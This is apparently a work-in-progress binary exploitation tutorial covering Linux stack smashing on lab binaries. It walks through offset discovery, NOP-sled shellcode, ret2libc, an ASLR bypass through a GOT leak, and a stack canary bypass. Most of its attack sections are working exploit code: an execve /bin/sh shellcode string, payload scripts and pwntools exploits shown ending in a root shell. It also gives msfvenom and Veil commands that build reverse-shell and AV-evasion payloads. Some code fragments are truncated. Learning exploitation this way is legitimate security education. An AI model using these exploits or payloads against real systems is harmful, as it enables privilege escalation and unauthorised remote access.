101 Simple Exploitation Because I can
add license file
add link to ctf-wiki into to canary for people to follow up
add explanation to the steps to bypass canary


browse  log 



You can also use your local clone with git send-email.

#101 Binary Exploitation because of ...

By ReK2 - Hispagatos.org

  • work in progress almost daily
  • not even alpha yet


#Command line tools

  • ltrace/strace: trace library or system calls performed by the target binary
  • readelf: displays information about and ELF binary file
  • objdump: displays information ab out object files. IO can also disassamble Linux executables
  • strings: extracts readable strings from binary
  • checksec.sh: check the properties of executables (like PIE, RELRO, PaX, Canaries, ASLR, Fortify Source
  • ldd: print shared object dependencies
#Command line examples
  • Example readelf
    readelf -a /bin/ping
  • find SUID and SGID files
    find / -perm /4000 2>/dev/null
    find / -perm /2000 2>/dev/null
    find / -perm /6000 2>/dev/null #to find files with both SUID and SGID
  • checksec
    checksec --file=/bin/ping
  • ldd
    ldd /bin/ls  
  • List all functions provided by libc
    nm -D /lib/$(uname -m)-linux-gnu/libc-*.so | grep -vm U | grep -v "_" | cut -d " " -f3
    nm -D /usr/aarch64-linux-gnu/lib/libc-*.so | grep -v "_" | cut -d " " -f3 # on arch GNU/Linux

#Executables sections

  • ELF executable sections:
    • .data - Initialized data with read or write rights.
    • .rodata - Initialized data with read only rights.
    • .bss - Uninitialized data with read and write.
    • .GOT - Global Offset Table - holds the addresses of functions.
    • .PLT - Procedure Linkage Table - holds the functons stubs that point to the .GOT entry.
  • Windows executable sections:
    • Work in progress
    • Work in progress

#Dissable countermeasures


  • Disable NX and ASLR ``` gcc -fno-stack-protector -z execstack fuckit.c -o fuckit gcc -mno-accumulate-outgoing-args -fno-stack-protector -z execstack vulnerable.c -o vulnerable gcc -m32 -no-pie -fno-pie -mno-accumulate-outgoing-args -fno-stack-protector -z execstack program.c -o program echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ulimit -c unlimited
#to get core output working:
  • as root not sudo
    echo "core" > /proc/sys/kernel/core_pattern
    echo "core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern #RTFM for the values


  • Working on it
  • Working on it


  • commands
    • Disassamble a function:
      disas main
      disas printme
    • Get address of variable:
      x00000000 lea eax,[ebp-0x200]
      p $ebp-0x200
    • Examine values on memory addressExploitation:
      x/4wx 0xffffccb8 # content value of  memory addres hex
      x/4ws 0xffffccb8 # from memory point to 4 addresses
      x/100wx 0xffffccb8 #from memory point to 100 addresses
    • Examine value on memory strings
      x/s 0xbffff7d2
      0xbffff7d2:    "AAAAAAAA"
    • Examine value on register:
      x/wx $esp
    • Load core dumps to debug:
      gdb -q ./executable ./core
    • show libraries loaded by the binary:
      vmmap # equiv to cat /proc/pid/maps where pid is the pid of the binary running.
    • Set register to an address:
      set $eip=0x80492ce


  • This deserves a whole new section
  • working on it

#Buffer Overflows

#Stack Smashing

  • Stack is an area of memory withing a process that is used by that process to safe data, offers more space than registers
    • Also tracks the execution of a program
    • The return address is the last memory address before a functiona call and this is stored in the stack.
    • Stack is 4-byte aligned (32 bit)
    • grows towards lower addresses. 0xbfffff5 ---> 0xbfffff4
  • Registers smaller that stacks but faster
#Create payloads/fuzzing
  • Ruby ruby -e 'puts "AAAAAAAAA" * 700' ruby -e "puts 'A'*700" > input.txt ruby -e 'puts "A"*516 + "B"*4 + "C"*180' > input2.txt
  • Python
    python -c 'print "A"*2000' > payload.txt
#Calculate offsets
  • Ruby:

  • Peda/GDB:

    pattern_create -- Generate a cyclic pattern:

    pattern create 700 pattern.txt
    run < pattern.txt

    pattern_offset -- Search for offset of a value in cyclic pattern

    Stopped reason: SIGSEGV
    0x4e734138 in ?? ()
    gdb-peda$ pattern offset 0x4e734138
    1316176184 found at offset: 516
#Generate Shellcode:
  • NOP ( NOP slides ): No-Operation instruction, opcode 0x90, it helps our exploit run the shellcode by sliding into the right memory address our shellcode starts at.
    • you add NOP's to the start of the shellcode
  • Most times exploits will work inside GDB and not outside because the given shellcode address is not valid, because is a diff enviroment.
    • Under this cirscunstance we can generate a core dump and then load it to gdb to see what happened.
    • Inspecting and adjusting the exploit to match the address outside of gdb.
      x/20wx $esp-0x250
  • Examples:
    • msfvenom:
      msfvenom -p linux/x86/shell_reverse_tcp lhost= lport=6667 -b "\x00" -f python
    • Veil Evasion
      veil -t Ordnance --list-payloads
      veil -t Ordnance --list-encoders
      veil -t Ordnance --ordnance-payload rev_tcp --ip --port 1234
      veil -t Evasion --list-payloads
      veil -t Evasion -p 33 --ordnance-payload rev_tcp --ip --port 8675 -o rek2test
      veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip --port 8676 -o rek2
#Linux Exploit Countermeasures and ByPasses

The countermeasures start to matter on the way from the EIP control to shellcode When proper protections are in place, the buffer may have an unknown address and may not be executable at all.

  • NoExecute or DEP Data Execution Prevention

    • What it does:
      • the most popular in moderm software.
      • disables the execution of data in the stack.
      • NX bit on AMD processors
      • XD Disable Bit on Intel processors
    • BYPASS - ret2 Return-oriented programming family
      • Easily bypassed with ret2
      • Allows to have function arguments on the stack just fine
      • Point the EIP to a included function instead
        • ret2system or ret2libc.
        • ret2strcpy
        • re2read
        • ret2main
        • ...
  • ASLR Address Space Layout Randomization

    • what it does:
      • When turned on, everytime a new process starts, its core memory areas will be loaded at a different address each time.
    • Bypass:
      • Information leak
      • brute force memory address
      • working on it ...
  • Stack Cookie

    • What it does:
      • Also known as Stack canary, stack protector, stack guard or SSP
      • 4-byte value
      • is pushed onto the stack when a function is entered, then function ends its task, the stack cookie is checked against the previously pushed value, if it different the program terminates by calling __stack_chk_fail function.
      • 4 types:
        • Random Canary
        • Randon XOR Canary
        • Null canary
        • Terminator canary
      • to enable at compilation add
    • Bypass:
      • There is no universal way to bypass, Often creativity helps, whoever there are some approches to it.
      • Answer the following questions first:
        • What is the canary value? diff each run? try to pot it each time in GDB
        • What type of canary is it?
        • What function in the program is vulnerable? what are the allowed characters?
        • Is it possible to exploit before the function returns? so avoid comparation of value
        • Is the exploit remote or local? can it be bruteforce?
      • the most commong approach is to bruce-force the canay.
    • Information leakages
    • re2write
    • format string exploits
  • RELRO Relocation read only -what it does:

    • working on it
    • BYPASS
    • working on it

#Execute dead code

Abuse not used functions and forgotten code

  • make the EIP point to the function
    • We need to know the address of this function
     gdb -q ./code-insecure2
     info functions
     0x08049196  helper
     gdb-peda$ p helper
     $1 = {<text variable, no debug info>} 0x8049196 <helper>
    • We got the address at 0x08049196
    • lets analize a bit:
    gdb-peda$ disas helper
    Dump of assembler code for function helper:
           0x08049196 <+0>:    push   ebp
           0x08049197 <+1>:    mov    ebp,esp
           0x08049199 <+3>:    sub    esp,0x8
           0x0804919c <+6>:    sub    esp,0xc
           0x0804919f <+9>:    push   0x804a008
           0x080491a4 <+14>:    call   0x8049060 <system@plt>
           0x080491a9 <+19>:    add    esp,0x10
           0x080491ac <+22>:    nop
           0x080491ad <+23>:    leave  
           0x080491ae <+24>:    ret    
        End of assembler dump.
    • We clearly see a system() call and a push to the stack we can exploit
    • lets create the crafted buffer with the address of helper()
    • hexadecimal address is 4 bytes long so we need to add one zero (not if we get it using info functions since is alredy complete) 0x08049196 lets split the bytes and rever in litte indian format:
      96 91 04 08
    • calculate the offset, lets say is 516
    • Lets create the exploit
       ruby -e 'puts "A"*516 + "\x96\x91\x04\x08" + "C"*180'  > exploit.txt
    • now lets test it inside GDB:
      gdb-peda$ run < 1.txt
        Starting program: /home/rek2/keybase/private/rek2/code-insecure2 < exploit.txt
        [Attaching after process 1043228 vfork to child process 1043229]
        [New inferior 2 (process 1043229)]
        [Detaching vfork parent process 1043228 after child exit]
        [Inferior 1 (process 1043228) detached]
        [Inferior 2 (process 1043229) exited with code 0177]
    • now we can see it run the system() call inside the dead function ir forked and external process
    • this is the most simple example.
    • in some cases that we want to keep stdin open to run commands as root there is a trick.
      ruby -e 'puts "A"*1012 + "\xcb\x84\x04\x08"' > exploit.txt
      (cat exploit.txt; cat) | code-insecure2
      This will keep the stdin open, with the second cat.

#Basic Stack Overflow

Exploit with shellcode and with fixed address ( very unreliable ) also no need to bypass system proteccions in a moderm linux system you will rarely find a binary that can be exploited this easy.. but we have to know the core idea to add later on bypassing of regular binary protections.

  • Examine the binary and find proper offset to precisely overwrite the EIP with our custom shellcode

    23213233 found at offset: 150
  • now that we know the offset lets try it.

  • with the proper payload length, for testing use "BBBB" for example.

    payload = "A"*150
    payload += "BBBB"
    print payload

    and then ...

    gdb -q ./binary
    gdb-peda$ run `python exploit.py`
    Stopped reason: SIGSEGV
    0x42424242 in ?? ()
  • now we know we can control the EIP, it has been overwritten by B's (x42 in hex)

  • we need to find where does the buffers of A's (x41 in hex ) starts so we know where to put our shellcode

  • lets inspect the contect of ESP minus de value close to the buffer length (150)

    x/30wx $esp-0x150
  • now we can see the buffer starts at some memory address

    • example
    0xbffff2b0 + 0x6 = 0xbffff2b6
  • we going to use one not so close to the start just in case... so falls into the A's (x41)

  • now you can implement the shellcode with the payload something like:

  • **[NOPS][Shellcode][EIP points to the start of the A's buffer or a bit after]

  • But first lets try with a simple shellcode using \xcc

    xcc is a debugger breakpoint instruction named INT3, a SIGTRAP, will stop the execution as if a breakpoint was set
    payload = "\xcc"*150
    payload += "\xe0\xf2\xff\xbf" #EIP = 0xbffff2e0
    print payload
  • run this on gdb and you should get a SIGTRAP

    Stopped reason: SIGTRAP
  • Examine the EIP, we will see many sigtraps because we multimple by 150

    x/40i $eip
  • lets examine $eip-0x20 so we can see the start of the buffer, you should see int3 starting address

    x/40i $eip-0x20
  • lets do more test to the exploit:

  • Change the first 50 bytes to NOP's, so we hit the shellcode for sure.

  • create a shellcode placeholder - an INT3 instruction that we are supposed to hit.

  • Fill rest of buffer with anything

    sc = "\xcc" #INT3
    payload = "\x90"*50
    payload += sc
    payload += "A"*(150-50-len(sc))
    payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
    print payload
  • run

    gdb-peda$ run `python exploit.py`
  • the program now is on a SIGTRAP, and if we check the EIP dump the next instruction is the A's part of the buffer

  • Lets do the exploit for GDB:

  • create shellcode with any of your shellcode tools or manually and take out de INT3 since we do not need o test anymore

    sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
    payload = "\x90"*50
    payload += sc
    payload += "A"*(150-50-len(sc))
    payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
    print payload
  • now open the binary in GDB and run python exploit.py you should get a shell

  • works on GDB but this will change most likely outside of GDB.

  • Lets do the finish exploit:

  • we run the exploit.py outside gdb and hopefully get a core dump file

  • remember to run ulimit -c unlimited

  • we run gdb with the binary and the core dump

    gdb ./binary ./core
  • inside lets inspect why is not running outside of GDB

    x/40wx $esp-0x200
  • we see that the address we use has no NODS nor A's, instead is a regular memory address so is not good for us.

  • We need to modify the address, pick one that you see that hits the NOD's example.

    0xbffffr2f0: 0x90909090 0x90909090 0x90909090 0x90909090
  • so we know at 0xbffff2f0 it will hit the NOD's x90 for sure

  • lets use that in our exploit:

    sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
    payload = "\x90"*50
    payload += sc
    payload += "A"*(150-50-len(sc))
    payload += "\xf0\xf2\xff\xbf"
    print payload
  • Lets run the exploit against the binary

    ./binary `python exploit.py`
  • We get a root shell!!

#Basic ret2libc exploitation

bypass NX

In order to execute a function that is in libc:

  • Find an interesting function that will provide us with a shell
    • System
    • Exec* (execl, execle, exelp, execv, execve, etc...)
  • Set up the stack properly, we need:
    • A saved return address
    • Arguments to the chosen function
  • Overwrite the EIP with the function's address
  • Lets check the binary see if it has NX enabled:
    checksec --file=unsecure-bypassNX
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable  FILE
    Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols     No    0        2    binary-bypassNX
    it does so lets bypass it.
  • find out offset
  • lets create a base exploit in ruby to prerare all our "boxes"
    #!/usr/bin/env ruby
    buffer = "A"*316 #offset
    buffer += "BBBB"
    buffer += "CCCC"
    buffer += "DDDD"
    buffer += "EEEE"
    puts buffer
    run this on GDB.
    $ ruby exploit.rb > exploit.txt
    gdb-peda$ run < exploit.txt
    lets examine the stack at the moment of the crash we can see the addition to the buffer was placed there
    gdb-peda$ x/8wx $esp
    0xffffceb0:    0x43434343    0x44444444    0x45454545    0xf7d94e0a
    0xffffcec0:    0x00000001    0xffffcf54    0xffffcf5c    0xffffcee4
    gdb-peda$ x/8wx $esp-4
    0xffffceac:    0x42424242    0x43434343    0x44444444    0x45454545
    0xffffcebc:    0xf7d94e0a    0x00000001    0xffffcf54    0xffffcf5c
    now picture:
    • BBBB is going to be substitute with the function we going to call that will spawn our shell
    • CCCC should be the return addres to be restored after executing that function, this should be the address of the exit() function
    • DDDD and EEEE shoul be the arguments to that function. you can add more arguments. simple.
  • System() function requires the least arguments, so is much simpler to use. use the linux man page for the arguments
    man system
    int system(const char *command);
  • This exploit is much simpler because we are on a non-ASLR system we will bypass ASLR in another example later.
  • Find the system() offset from libc, if doing this for a remote system we needt o know the version of libc on the remote system. for a remote system you have to run the same version on kvm or virtualbox to find its offset but for this we use our local GNU/Linux
    $ find /usr/ -name libc.so.6 2>/dev/null
    $ readelf -s /usr/aarch64-linux-gnu/lib/libc.so.6 | grep "system"
    1383: 0000000000042148    40 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.17
    we have 0x42148 now in GDB we run vmmap
    gdb-peda$ vmmap libc
    Start      End        Perm    Name
    0xf7d93000 0xf7eea000 r-xp    /usr/lib32/libc-2.31.so
    0xf7eea000 0xf7f59000 r--p    /usr/lib32/libc-2.31.so
    we choose the executable address and now we calculate the address with the two values we got.
    gdb-peda$ p 0xf7d93000 + 0x42148
    ok write down this address! we will use it to subtitute BBBB.
    • Another way to calculate the address is with gdb-peda
    p system
  • Find the exit() we use the same method or the gdb-peda way.
    p exit
    this will substitute the CCCC box in our exploit.
  • Ok now we hace to find an argument for the system() function, like /bin/bash. we cant just pass /bin/sh or /bin/bash at the end of the buffer, we need an address where /bin/bash etc resides.
    • Using GDB-PEDA
      gdb-peda$ break main
      gdb-peda$ find /bin
      Searching for '/bin' in: None ranges
      Found 19 results, display max 19 items:
         libc : 0xf7f0432b ("/bin/sh")
         libc : 0xf7f05803 ("/bin:/usr/bin")
         libc : 0xf7f0580c ("/bin")
         libc : 0xf7f05c71 ("/bin/csh")
         libc : 0xf7f0a26c ("/bin:/usr/bin")
         libc : 0xf7f0a275 ("/bin")
      [stack] : 0xffffd17f ("/bin/zsh")
    - Manual way, only for local exploitation, example: priviledge escalation.
    export SHELL='/bin/sh'
    Now it should be findable at the bottom of the stack, near other enviroment variables. Also Peda will be able to locate it.
    - We will use /bin/sh address 0xf7f0432b 
    - 0xf7f0432b will be on our DDDD box
  • final exploit:
    #!/usr/bin/env ruby
    buffer = "A"*516
    buffer += "\x00\xaa\xdb\xf7"
    buffer += "\x70\xd5\xda\xf7"
    buffer += "\x2b\x43\xf0\xf7"
    #buffer += "EEEE" # not used for this exploit. system() only needs 1 argument
    puts buffer
  • Execute exploit inside GDB
    $ ./exploit-bypassNX.rb > exploit-bypassNX.txt
    gdb-peda$ run < exploit-bypassNX.txt
    Attaching after process 488838 vfork to child process 488847]
    [New inferior 2 (process 488847)]
    [Detaching vfork parent process 488838 after child exec]
    [Inferior 1 (process 488838) detached]
    process 488847 is executing new program: /usr/bin/bash
    process 488847 is executing new program: /usr/bin/bash
    [Inferior 2 (process 488847) exited normally]
    as you can see it run /usr/bin/bash
  • Execute exploit and gain root
    ls -alh binary-bypassNX
    -rwsr-sr-x 1 root root 16K abr  1 05:41 binary-bypassNX
    ❯ (cat ./exploit-bypassNX.txt; cat) | ./binary-bypassNX

#ret2libc with information leak

bypass DEP and ASLR

  • similar technique than our simple ret2libc bypass NX exploit but with ASLR we can't reuse some addresses since they keep changing.

  • We not going to go into details mych since is similar with added complications

  • For this we going to enhance our technique with an information leak

  • ASLR does not affect PLT or GOT

  • we going to abuse the fact that plt/got are not randomized themselfs but after the loader resolves the function names, got points to libc, libc is randomized but we can abuse the fact that we have a non-randomized pointer to the randomized localtion, ha ha just follow on...

  • Having on libc address will allow us to calculate all the other addresses we need dynamically

  • We will exploit once, get the leaked address to figure out the rest of what we need then re-exploit to get shell with the new information.

    • find your offset
    • control the EIP
    • in case you forget on GDB set disable-randomization on
    • we going to use pwntools to make our live much easier, but when you are done with the book, go into details you should never relly on someone elses tools
    • make sure you have pwntools that support python3 so runs on all Linux distros.
    • ok in this first part below we going to find this pointer to libc that does not change.
    from pwn import *
    r = process('./exploitme')
    b = ELF('./exploitme')
    # ldd ./exploitme
    # libc.so.6 => /usr/lib32/libc.so.6 (0xf7d76000)
    libc = ELF('/usr/lib32/libc.so.6')
    puts_plt = b.symbols["puts"]
    puts_got = b.symbols['got.puts']
    main = b.symbols['main']
    offset = b'A'*120
    EIP = p32(puts_plt) #EIP overwrite
    RET = p32(main) #return address
    ARG = p32(puts_got) #argument to puts()
    payload = offset + EIP + RET + ARG
    r.recvuntil('name: ') # wait until this
    leak = u32(r.recvline()[:4])
    print (leak)
    log.info('leaked value, puts@libc is at: {}'.format(hex(leak))) # The leaked value is printed.
    • As you can see, this was much simpler approach since pwntools will calculate for us the memory address of puts, puts_got and main on the fly
    • Now that we have a pointer that will not change, we will work on the second part that is new to us so far.
    • just as in the simple ret2libc bypass NX we will need 3 boxes, system(), exit(), and the argument /bin/sh
    • to calculate this, we rest the filter address to the pointer of puts we know to get the value we need to figure out system,exit,and /bin/sh address
    • we will also need to recalculate the offset
    • ok so here we go, we continue the exploit:
    libc_base = leak - libc.symbols['puts']
    system = libc_base + libc.symbols['system']
    exit = libc_base + libc.symbols['exit']
    binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
    log.info('system@libc is at: {}'.format(hex(system)))
    log.info('exit@libc is at: {}'.format(hex(exit)))
    log.info('binsh@libc is at: {}'.format(hex(binsh)))
    payload = ""
    payload = b'B'*132
    payload += p32(system) #EIP overwrite
    payload += p32(binsh) #argument to puts()
    # reexploit now that we bypass
    log.info('Re-exploiting the main().')
    r.recvuntil('name: ') # wait until this
    • this will work and get you a root shell, RTFM the pwntools and learn how to do it with it pwntools with C
    • The idea is to know what happens and what is going on, since this is not a tutorial expand your knowlandge and practice

also bypass ASLR and NX because we going to use a ret2function-style attack, so the non-executable stack didn't matter here.

  • follows similar, even easier example than the example above bypassing DEP/ASLR and will bypass DEP/ASLR/CANARY
  • The stack canary is ramdon every time it runs, so we will use again an information leak in order to get the canary
  • When we know the canary before exiting the program we will pass it to our overflow payload so it bypass the call to __stack_chk_fail and continue execution to overwrite the EIP as a regular overflow.
  • lets do this:
    • we will load and analize the binary inside gdb, show all functions, etc.

    • look in the dissamble where the call to __stack_chk_fail is with the respective mov, xor, je, call to figure out where the canary is checked.

       0x080492bd <+86>:    mov    eax,DWORD PTR [ebp-0xc]
       0x080492c0 <+89>:    xor    eax,DWORD PTR gs:0x14
       0x080492c7 <+96>:    je     0x80492ce <vulfunc+103>
       0x080492c9 <+98>:    call   0x80493a0 <__stack_chk_fail_local>
       0x080492ce <+103>:    mov    ebx,DWORD PTR [ebp-0x4]
    • now add a break on the nop instruction right before the canary is checked

    0x080492bc <+85>:    nop
    gdb-peda$ break *0x080492bc
    Breakpoint 1 at 0x80492bc
    • run the program inside gdb with a long string or pass a long string of A's to the input until the protection will dissalow execution in some cases we can figure out the number by disassambling the binary.

      ruby -e "puts 'A'*200"
      gdb-peda$ run
      Starting program: /home/rek2/keybase/private/rek2/stackcookiebypass/canary
      Hello Hacker!
      EAX: 0xc9
      EBX: 0x804c000 --> 0x804bf00 --> 0x1
      ECX: 0xffffcda0 --> 0xf7f58ce0 --> 0xfbad2887
      EDX: 0xc9
      ESI: 0xf7f57e24 --> 0x1e4d2c
      EDI: 0xf7f57e24 --> 0x1e4d2c
      EBP: 0xffffce48 ('A' <repeats 88 times>, "\n")
      ESP: 0xffffcdd0 --> 0xf7f58ce0 --> 0xfbad2887
      EIP: 0x80492bc (<vulnfunc+85>:    nop)
      EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
         0x80492b2 <vuln+75>:    add    DWORD PTR [ebp-0x74],0x1
         0x80492b6 <vuln+79>:    cmp    DWORD PTR [ebp-0x74],0x1
         0x80492ba <vuln+83>:    jle    0x804928d <vuln+38>
      => 0x80492bc <vuln+85>:    nop
         0x80492bd <vuln+86>:    mov    eax,DWORD PTR [ebp-0xc]
         0x80492c0 <vuln+89>:    xor    eax,DWORD PTR gs:0x14
         0x80492c7 <vuln+96>:    je     0x80492ce <vulnfunc+103>
         0x80492c9 <vuln+98>:    call   0x80493a0 <__stack_chk_fail_local>
      0000| 0xffffcdd0 --> 0xf7f58ce0 --> 0xfbad2887
      0004| 0xffffcdd4 --> 0x2
      0008| 0xffffcdd8 ('A' <repeats 200 times>...)
      0012| 0xffffcddc ('A' <repeats 196 times>, "\n")
      0016| 0xffffcde0 ('A' <repeats 192 times>, "\n")
      0020| 0xffffcde4 ('A' <repeats 188 times>, "\n")
      0024| 0xffffcde8 ('A' <repeats 184 times>, "\n")
      0028| 0xffffcdec ('A' <repeats 180 times>, "\n")
      Legend: code, data, rodata, value
      Breakpoint 1, 0x080492bc in vulnfunc ()
    • Lets check $ebp-0xc value

      gdb-peda$ x/wx $ebp-0xc
      0xffffce3c:    0x0b9f230a
  • This address 0x0b9f230a will be different each run...
  • lets examine a larger area around EBP
    gdb-peda$ x/40wx $ebp-0xc
    0xffffce3c:    0x0b9f230a<-    0x0804a010    0x0804c000    0xffffce58
    0xffffce4c:    0x08049309    0xffffce70    0x00000000    0x00000000
    0xffffce5c:    0xf7d91ee5    0xf7f57e24    0xf7f57e24    0x00000000
    0xffffce6c:    0xf7d91ee5    0x00000001    0xffffcf04    0xffffcf0c
    0xffffce7c:    0xffffce94    0xf7f57e24    0x00000000    0xffffcee8
    0xffffce8c:    0x00000000    0xf7ffcfcc    0x00000000    0xf7f57e24
    0xffffce9c:    0xf7f57e24    0x00000000    0x4b1644b3    0x06b7e2a3
    0xffffceac:    0x00000000    0x00000000    0x00000000    0x00000001
    0xffffcebc:    0x080490c0    0x00000000    0xf7fe74b4    0xf7fe1e50
    0xffffcecc:    0x0804c000    0x00000001    0x080490c0    0x00000000
  • ok so notice that the canary lies in the buffer that we are able to overflow
  • now we going to find out the offset
  • create data
pattern create 200
  • run again but this time instead of A copy and paste this pattern.
  • now as we hit the breakpoint, we can examine the cookie.
gdb-peda$ x/wx $ebp-0xc
0xffffce3c:	0x41684141
gdb-peda$ pattern offset 0x41684141
1097351489 found at offset: 100
  • We now can see tghat the cookie starts to be overwritten after 100 bytes of the user buffer
  • We caninstantly check the offset to the EIP.
  • Lets use the gdb stepi or si instruction until the code stops at the __stack_chk_fail call.
 0x80492bd <vulnfunc+86>:	mov    eax,DWORD PTR [ebp-0xc]
 0x80492c0 <vulnfunc+89>:	xor    eax,DWORD PTR gs:0x14
 0x80492c7 <vulnfunc+96>:	je     0x80492ce <vulnfunc+103>
=> 0x80492c9 <vulnfunc+98>:	call   0x80493a0 <__stack_chk_fail_local>
 0x80492ce <vulnfunc+103>:	mov    ebx,DWORD PTR [ebp-0x4]
 0x80492d1 <vulnfunc+106>:	leave
 0x80492d2 <vulnfunc+107>:	ret
 0x80492d3 <main>:	lea    ecx,[esp+0x4]
No argument

  • So we see that the instruction after __stack_chk_fail is at 0x80492ce
  • WE CAN change the EIP value so that it points to another instruction like if there was NO STACK CANARY, and continue the execution in order to get our segfault
gdb-peda$ set $eip=0x80492ce
gdb-peda$ c
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414e41 in ?? ()
gdb-peda$ pattern offset 0x41414e41
1094798913 found at offset: 116
  • ok so now we know:
    • the canary is overwrittern after 100 bytes
    • The offset is at 116 bytes
  • exit gdb and restart gdb with the binary
  • Generate a 100 byte string and copy it, we will feed this to the application
  • we will also set a breakpoint on the nop again
ruby -e "puts 'A'*100"
  • So we run and paste enter two times the data
  • Execution stops at the break point, there are more data this is the newline 0x0a character appended to stdin so there is 100 "A"s and a newline sent to the program.
  • Lets again examine the known canary location and some bytes before it.
gdb-peda$ x/wx $ebp-0xc
0xffffce3c:	0xb9acd80a
gdb-peda$ x/4wx $ebp-0xc-0xc
0xffffce30:	0x41414141	0x41414141	0x41414141	0xb9acd80a
  • notice the A's and the canary appended at the end of its buffer.
  • we can confirm the canary is correct by changing the last byte of the canary to 0x00 and allowing the execution
gdb-peda$ set {int}0xffffce3c = 0xb9acd800
gdb-peda$ x/wx $ebp-0xc
0xffffce3c:	0xb9acd800
  • next we continue and since the canary is what is expected it will continue the execution and exit normally
[Inferior 1 (process 183706) exited normally]
Warning: not running
  • so now we have proven tha the binary is vulnerable to information leakage.

  • we also now we ca force a leakage to know the value of the canary with out causing an overflow, since we know the correct value

  • we can use this to cause a legitimate overflow in our advantage with a valid canary to take over control of the RET address and set the EIP to for example /bin/sh address like we did on the bypassing ASRL/DEP exploit.

  • We already walked you on how to create a exploit before and pwntools so here is the resulting exploit, like before make sure you follow up and expand on this topic yourself.

  • Completed exploit:


from pwn import *
import struct

r = process('./canary')

get_shell = b'\xd6\x91\x04\x08' #0x080491d6

payload = b'A'*100 
r.recvuntil('Hello Hacker!') # wait until this
r.recvuntil("A"* 100)

Canary = u32(r.recv(4))-0xa

payload = ""
payload = b'A'*100
payload += p32(Canary)
payload += b'A'*12
payload += get_shell

  • Run to get root:
  ❯ ./exploit-pwntools.py
[+] Starting local process './canary': pid 1415295
[*] Canary:0x42aee700
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(rek2) grupos=1000(rek2),10(wheel),91(video),92(audio),100(users),108(vboxusers),209(cups),967(realtime),972(docker),990(dradis-ce),991(libvirt),1006(gamemode)
  • this walktrough is based on the ctf-wiki canary I recommend you read it to understand what was said here and to complement span on to other material.


  • Keep stdin open:
    (cat exploit.txt; cat) | code-insecure2
    (cat exploit.txt; echo id; echo ls) | ./code-insecure1
    the first cat simply prints the exploit file’s content, and the second one allows to hold the stdin open for the user’s input